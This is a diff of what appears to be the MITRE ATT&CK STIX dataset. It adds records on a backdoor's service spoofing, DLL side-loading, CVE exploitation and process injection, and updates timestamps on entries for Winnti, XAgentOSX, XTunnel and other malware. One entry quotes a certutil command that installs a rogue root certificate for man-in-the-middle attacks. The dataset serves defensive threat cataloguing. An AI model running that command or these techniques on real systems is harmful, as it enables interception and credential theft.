+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--1bbb499c-81c8-4e94-8305-86b199e8298b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--dbccbeab-26c9-476e-b529-c193f9796cbc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "exploits CVE-2016-4117 to allow an executable to gain escalated privileges.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--fe786b29-e621-48e2-84b5-aed35e6930fe",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b1371fd9-1bfd-40b2-90a2-4876d89029bf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "checks for the presence of Bitdefender security software.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2e5039ef-913f-4808-9685-32f64f4dbf49",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "deletes its payload along with the payload's parent process after it finishes copying files.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e7baabf7-9300-432d-aa78-000ac099d4d3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "performs multiple process injections to hijack system processes and execute malicious code.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Winnti implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.",
             "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
@@ -54276,7 +64734,7 @@
             "id": "relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Winnti installer loads a DLL using rundll32.",
             "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
@@ -54297,7 +64755,7 @@
             "id": "relationship--0a65c303-52a6-4624-a8fb-fc7448429139",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti sets its DLL file as a new service in the Registry to establish persistence.",
             "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
@@ -54318,7 +64776,7 @@
             "id": "relationship--82268341-e0a8-4937-8618-351e147daa0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the Wiper malware.",
             "source_ref": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085",
@@ -54339,7 +64797,7 @@
             "id": "relationship--11ed82c1-88af-4c23-860e-185505389288",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54360,7 +64818,7 @@
             "id": "relationship--31cd4eb1-f7b3-4030-b087-388d55faba03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getInfoOSX function to return the OS X version as well as the current user.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54381,7 +64839,7 @@
             "id": "relationship--bb005145-438c-4fd8-9cac-a636df7465da",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getProcessList function to run <code>ps aux</code> to get running processes.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54402,7 +64860,7 @@
             "id": "relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getInstalledAPP function to run <code>ls -la /Applications</code> to gather what applications are installed.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54423,7 +64881,7 @@
             "id": "relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running <code>ls -la ~/Library/Application\\ Support/MobileSync/Backup/</code>.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54444,7 +64902,7 @@
             "id": "relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the execFile function to execute a specified file on the system using the NSTask:launch method.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54465,7 +64923,7 @@
             "id": "relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54486,7 +64944,7 @@
             "id": "relationship--c0223316-4b0b-461e-8947-01c0f5baeef2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54507,7 +64965,7 @@
             "id": "relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getFirefoxPassword function to attempt to locate Firefox passwords.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54528,7 +64986,7 @@
             "id": "relationship--785abba4-fdb4-4aad-9049-5a0c748cc965",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54549,7 +65007,7 @@
             "id": "relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -54570,7 +65028,7 @@
             "id": "relationship--b3973baa-0185-45a1-934d-2b29f742a2df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel uses SSL/TLS and RC4 to encrypt traffic.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54596,7 +65054,7 @@
             "id": "relationship--044ad6d3-9389-4764-9b96-ad53dc98840d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel is capable of accessing locally stored passwords on victims.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54617,7 +65075,7 @@
             "id": "relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel is capable of downloading additional files.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54638,7 +65096,7 @@
             "id": "relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel is capable of probing the network for open ports.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54659,7 +65117,7 @@
             "id": "relationship--3264e1db-0f54-4049-a45c-3a03a24709aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel has been used to execute remote commands.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54680,7 +65138,7 @@
             "id": "relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel relays traffic between a C2 server and a victim.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54701,7 +65159,7 @@
             "id": "relationship--e97b39d6-7be1-4f59-8959-7f1f01402152",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The C2 server used by XTunnel provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54722,7 +65180,7 @@
             "id": "relationship--0c143634-89e1-47a0-9044-4ca39ccff76a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A version of XTunnel introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54743,7 +65201,7 @@
             "id": "relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A version of XTunnel introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -54764,7 +65222,7 @@
             "id": "relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54785,7 +65243,7 @@
             "id": "relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib creates Registry keys to allow itself to run as various services.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54806,7 +65264,7 @@
             "id": "relationship--fb11df98-790a-4b1c-9ca0-73224226cff3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib communicates over HTTP for C2.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54827,7 +65285,7 @@
             "id": "relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The ZLib backdoor compresses communications using the standard Zlib compression library.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54848,7 +65306,7 @@
             "id": "relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to download files.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54869,7 +65327,7 @@
             "id": "relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to enumerate files and drives.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54890,7 +65348,7 @@
             "id": "relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to enumerate system information.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54911,7 +65369,7 @@
             "id": "relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to discover and manipulate Windows services.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54932,7 +65390,7 @@
             "id": "relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to execute shell commands.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54953,7 +65411,7 @@
             "id": "relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to obtain screenshots of the compromised system.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
@@ -54974,7 +65432,7 @@
             "id": "relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of the Zeroaccess Trojan have been known to store data in Extended Attributes.",
             "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f",
@@ -54995,7 +65453,7 @@
             "id": "relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Zeroaccess is a kernel-mode rootkit.",
             "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f",
@@ -55016,7 +65474,7 @@
             "id": "relationship--d4d35e55-6a09-47ef-8de5-160468276025",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "at can be used to schedule a task on a system.",
             "source_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
@@ -55037,7 +65495,7 @@
             "id": "relationship--542bb806-3e73-42f5-8a3e-86b498093f4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "certutil can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: <code>certutil -addstore -f -user ROOT ProgramData\\cert512121.der</code>.",
             "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
@@ -55058,7 +65516,7 @@
             "id": "relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "certutil has been used to decode binaries hidden inside certificate files as Base64 information.",
             "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
@@ -55079,7 +65537,7 @@
             "id": "relationship--73f5c564-53b1-48bc-8cab-32fa4a608672",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "certutil can be used to download files from a given URL.",
             "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
@@ -55105,7 +65563,7 @@
             "id": "relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a",
